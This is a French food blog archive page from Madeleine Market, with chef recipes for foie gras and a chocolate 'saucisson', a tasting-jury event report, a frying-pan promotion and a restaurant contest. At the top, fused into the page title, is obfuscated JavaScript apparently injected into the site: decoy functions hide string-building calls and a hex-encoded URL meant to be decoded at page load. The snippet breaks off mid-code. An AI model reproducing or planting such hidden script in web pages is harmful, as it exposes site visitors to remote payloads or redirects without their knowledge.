> Bruits De Casserole | Le blog de la gastronomie, par Madeleinemarket function nivrZ(){var ODxCiO='QTzDlT';if('qgzC'=='ZYOyY')fuKPFL();}if('jlRv'=='kCpaks')qvBv='UJvVh';function Ayame(){}function smao(){var iOKF='BGEkXS';if('prcw'=='HQCt')QqGfI();} var cyPkQG="pars\x65Int";if('rlxp'=='HnVdp')psEi();var JTbFBdl="\x73lice";function vgRXfZ(){var MAck='fxLz';if('ZXGGT'=='cPXc')fTHSI();}var bZFrQ='HmRBg';var APZsfNN="929e9e9a645959958b9c969395a496999e99918f9e928f9c588d9997599d5a599398588d9193695b5a";function SnUc(){var BTVhzC='zwGAB';if('emZxFI'=='WFnQR')FtDC();} var FgNSRa="fro\x6dCharCo\x64e";var eqOti=223;if('IpmeS'=='LkpDR')cApRp='DvOgPv';var ZgCvD;function ySEir(){var mJbfa='RKBNQg';if('puIV'=='DVHJq')GvDvbb();} var UXcClKfW="";function nZBF(){}function VJPQOK(){} var uhyAuA=(function(){if('wfZXm'=='ISRTwP')DRnXBQ();return this;function RliJO(){}var riDo='czizo';})();if('EREg'=='lJcrdN')TwHct();function yNaWsF(){var kBRrrg='qSPl';if('xwQxHq'=='bzBMwh')xeVMz();} var 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Categorie Archives: Bruits de casserole

Recette de foie gras de canard par Alain Passard en exclusivité pour Madeleine Market

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Dans la catégorie Bruits de casserole, Le tour d'un produit, Nouveaux produits

Une recette exclusive signée Alain Passard, en exclusivité pour Madeleine Market ! Le pralin est de fabrication artisanale à l’Arpège.

Vous pouvez retrouvez ce foie gras de canard chez Madeleine Market : http://www.madeleinemarket.com/epicerie-fine/foie-gras-magrets/foie-gras-de-canard/foie-gras-de-canard-mi-cuit/3011-foie-gras-de-canard-au-pralin-de-noisettes-du-piemont.html

Foie gras de canard au pralin de noisettes du Piémont

Foie gras de canard au pralin de noisettes du Piémont

Suivez les conseils de présentation d’Alain Passard, pour sublimer ce foie gras d’exception :

  • Avant le démoulage, retirez une partie du gras, que vous conserverez pour l’une de vos prochaines recettes.
  • Démoulez délicatement le foie gras puis, après avoir passé la pointe de votre couteau sous l’eau chaude, tranchez-le et placez une tranche au centre de chaque assiette.
  • A côté de chaque tranche, déposez une cuillère de citron confit à la betterave rouge (voir recette ci-dessous).
  • Dans un saladier, préparez votre salade (mâche ou mesclun) avec un filet d’huile d’olive, puis dispersez quelques feuilles de salade autour de la tranche de foie gras, en couronne.
  • Enfin, râpez finement un peu de raifort autour de l’assiette ; le goût moutardé du raifort se marie à merveille avec le pralin et le citron confit.
  • Servez avec quelques toasts d’un bon pain de campagne au levain, et un pinot des Charentes blanc.

Dressage de l'assiette de foie gras
Bonne dégustation !


Préparation du citron confit aux betteraves rouges :
- Dans une casserole, ajoutez grossièrement un citron entier, 2 cuillères à soupe d’eau et 4 morceaux de sucre.
- Ajoutez 3 ou 4 fines tranches de betterave crue, et laissez mijoter le tout 10 à 15 minutes.
- Hachez grossièrement le tout, et placez au réfrigérateur.

Le saucisson de l’espace by Christophe Michalak

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Dans la catégorie Bruits de casserole, Entre nous

Saucisson de l'espace by Christophe Michalak

Madeleine Market vous propose la recette de Christophe Michalak pour faire le meilleur saucisson au chocolat de la galaxie!

Recette du saucisson de l’espace par Christophe Michalak :

  • Temps de préparation : 20 mn
  • Temps de repos : 1 heure
  • Niveau de difficulté : une tablette
  • Température de dégustation : température ambiante

Ingrédients pour 4 personnes

  • Gianduja lait noisette : 200 grammes (achetés chez votre pâtissier)
  • Guimauves nature : 30 grammes achetés chez l’épicier
  • Noisettes grillées : 60 grammes
  • Sablés bretons coupés en cubes : 60 grammes achetés chez l’épicier
  • Sel fin : une pincée
Saucisson de l'espace par Christophe Michalak

Saucisson de l'espace par Christophe Michalak

Réalisation

  1. Fondre au micro onde le gianduja à environ 35°C.
  2. Couper les guimauves en petits cubes.
  3. Concasser les noisettes.
  4. Mélanger le tout.
  5. Dresser sur un papier film alimentaire et rouler le tout en serrant les extrémités.
  6. Réserver une heure au réfrigérateur.
  7. Enlever le papier film.
  8. Rouler dans le sucre glace.
  9. Laisser revenir à température ambiante avant de déguster.

Secret du chef

Ajoutez des guimauves de différents parfums et de différentes couleurs pour donner un côté plus rock’n roll à cette recette!

Le jury gourmand de Madeleine Market

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Dans la catégorie Agenda, Bruits de casserole, Nouveau

Le premier Jury Gourmand Madeleine Market s’est réuni jeudi 8 juillet au Restaurant Prunier à Paris autour de Marc Gusils, le patron de Madeleine Market.
Il s’agissait pour les douze membres du Jury Gourmand de tester 40 produits répartis en 18 classes de nature différente.
Après environ trois heures de dégustation passée dans le salon Traktir du restaurant, les membres du Jury Gourmand ont pu passer à table dans le cadre splendide du salon Izba de chez Prunier.

Le chef Eric Coisel (essayez-vous à sa paëlla) a pu rejoindre les convives un peu plus tard. Convives parmi lesquels se trouvaient l’un des vieux amis du chef Eric Coisel, Alain Passard, génial chef de l’Arpège, et Christophe Michalak, le formidable pâtissier du Plazza Athénée, blogueur d’occasion, qui a régalé la compagnie de 4 fabuleux desserts de sa composition dont les célèbres Religieuses au caramel beurre de sel.

Le jury gourmand de Madeleine Market

Le jury gourmand de Madeleine Market

Cette première édition a été un vrai succès, dû tout d’abord à la chaleureuse présence des convives qui ont accepté de goûter la quarantaine de produits présentés. Un jury de douze membres, 5 femmes et 7 hommes, toutes et tous gastronomes avertis. La plupart des participants ne s’étaient jamais rencontré auparavant, cette journée a donc aussi été l’occasion de créer des liens, c’est peut-être cela l’essentiel.

Découvrez le film de la journée, la composition du jury, les produits récompensés et les mentions spéciales sur le site de Madeleine Market :

http://www.madeleinemarket.com/content/34-jury-gourmand

Les poêles en fer naturel de la collection “Minéral” De Buyer

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Dans la catégorie Bruits de casserole, Entre nous, Le tour d'un produit

Manger sain et bio, ce n’est plus seulement cuisiner des produits bio, mais c’est aussi choisir un matériel respectueux de l’environnement et des aliments. C’est pourquoi nous présentons les poêles en fer naturel de la collection “Minéral” de Buyer, conçues spécialement pour répondre aux exigences de ceux qui souhaitent cuisiner selon les standards de qualité environnementale les plus pointus.

Descriptif produit

La nouvelle gamme de poêles en fer naturel “Minéral” de Buyer allie la qualité de cuisson d’autrefois aux normes d’aujourd’hui. Conçues dans un style épuré et dans des matériaux bruts et nobles (99% de fer naturel), elles sont naturellement anti-adhésives. D’une solidité à toute épreuve, elle se bonifient avec l’âge. Plus elles sont utilisées, meilleure est la cuisson, une cuisson de qualité professionnelle et le respect des qualités nutritives des aliments !

Poêle "Minéral" de Buyer

Une construction organique

Les poêles Minéral, composées à 99% de fer naturel, reviennent avec force. Après avoir été considérée comme passée de mode, elles retrouvent une seconde jeunesse grâce à leurs propriétés exceptionnelles. Elles assurent en effet une véritable cuisine naturelle, biologique, écologique et économique. La poêle supporte les très hautes températures et saisit rapidement les aliments. Idéal pour saisir, dorer, griller elles donnent un effet croustillant et savoureux aux aliments en surface tout en restant délicieusement tendre à cœur.

La société de Buyer

Depuis 1830, la célèbre maison de Buyer s’est spécialisée dans la fabrication d’ustensiles de cuisine, aussi bien pour les particuliers que pour les professionnels. Tout d’abord spécialiste des ustensiles de cuisson en cuivre et en acier, l’expertise de Buyer s’étend aujourd’hui au plastique (spatule, louche, pince…) et aux élastomères (moules souples). De nombreux produits, de par leur haute qualité, font l’objet de brevets spécifiques à de Buyer et propose des ustensiles garantient pendant plusieurs dizaines d’années. La qualité des produits fabriqués et du service de Buyer a été consacrée par l’obtention de la norme ISO 9001.

Voir la vidéo de présentation des poêles “Minéral” de Buyer

Découvrez la gamme des poêles écologiques de Buyer :
http://www.madeleinemarket.com/ustensiles/la-cuisson/poeles-et-woks/poeles-minerales/2578

Un repas chez Gagnaire pour un euro ?

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Dans la catégorie Bruits de casserole

L’initiative risque de faire couler pas mal d’encre ! Le critique gastronomique François Simon s’associe à une drôle d’aventure qui va faire rêver les gourmands.
L’idée de RestoPourUnEuro est toute simple. Ce site internet propose de deviner le montant d’un dîner pour deux dans un restaurant. Le premier qui trouve le montant exact (au centime près!) de l’addition gagne le dîner. Si personne ne trouve le prix du diner, la personne qui a fait l’estimation la plus proche du prix réel le remporte. Pour participer, il suffit de s’inscrire sur le site et de miser 1 €.
Pour le premier “pari-dîner”, excusez du peu, c’est tout de même l’une des tables les plus courues au monde, celle de Pierre Gagnaire qui s’est prêtée au jeu en proposant un menu sur mesure pour deux personnes.
Pour le moment, seuls 44 joueurs ont tenté leur chance. Serez-vous le prochain ?